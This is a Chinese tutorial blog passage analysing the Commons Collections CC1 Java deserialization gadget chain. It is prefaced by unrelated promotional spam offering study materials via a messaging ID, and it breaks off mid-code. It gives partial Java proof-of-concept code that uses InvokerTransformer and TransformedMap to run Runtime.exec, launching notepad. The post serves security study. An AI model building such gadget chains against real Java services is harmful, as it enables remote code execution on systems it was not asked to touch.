java反序列化 cc链1 分析_java反序列化cc1链分析，2024年最新面试分享一次失败的经历_java 反序列化 cc1

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Java开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip1024b （备注Java）

正文

这时候有人就比较疑惑了checkSetValue不是protected吗，不是只能本类访问吗，这里我们往上看发现那个类其实就是TransformedMap的父类。

这里我们可以看到，他定义了一个常量，然后可以看到他是重写了一个setValue方法，这个方法，我们知道他原本是给Man的value赋值的。

这里我们本地测试一下，可以看到弹出来记事本了

InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“notepad”});
HashMap<Object,Object> hash = new HashMap<>();
hash.put(‘a’,‘b’);
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);

//这是Map的一种遍历的方法，通过获取键值对的方法
for (Map.Entry objectObjectEntry : decorate.entrySet()) {
objectObjectEntry.setValue®;
}

常见疑惑解答：为什么我使用的是Map.Entry对象setValue**，为什么会到MapEntry里面setValue方法？**

这里分析一小手，首先我们可以知道，他的父类是AbstractMapEntryDecorator类

这里去这个类看看，这里可以看到他是接口了Map.Entry，所以他要重写里面所有的方法。

因为MapEntry的他子类中的类，所以可以算他覆盖了父类中的该方法，因此最终会调用MapEntry类中覆盖的setValue()方法

然后我们这里Map.Entry对象对应的是TransformedMap类，然后这个上面这个的子类，所以我们调用setValue其实就是调用MapEntry类中的setValue。

利用第三阶段

因为还是没有到readObject对吧，所以我还是要继续往上面爬，这里还是使用查看用法

在这里发现了还真有一个readObject方法

然后再这个方法里面还有一个遍历Map数组的部分，怎么遍历不好，偏偏还是使用键值对的方式遍历，真的就有这么巧吗，但是又两个问题，需要我们下面解决

**问题1：**那里又一个判断不是空才能进去

**问题2：**这里setValue方法，是直接给他值了，但是这个值不是我们需要的

这里我们接下来看看memberValues的值我们是否可以任意赋值，这里我们往上看，这里我们看到了它的构造函数，这里我们看到memberValues值，我们是可以控制的

注意：看到左上角，这是一个class，不是public，所以我们不能通过正常的new来获取他，他只能在它的包里面才能访问他，但是我们可以通过反射来调用。

所以按照这种思路，我们开始整理要写的代码

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“notepad”});
HashMap<Object,Object> hash = new HashMap<>();
hash.put(‘a’,‘b’);
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);

// 获取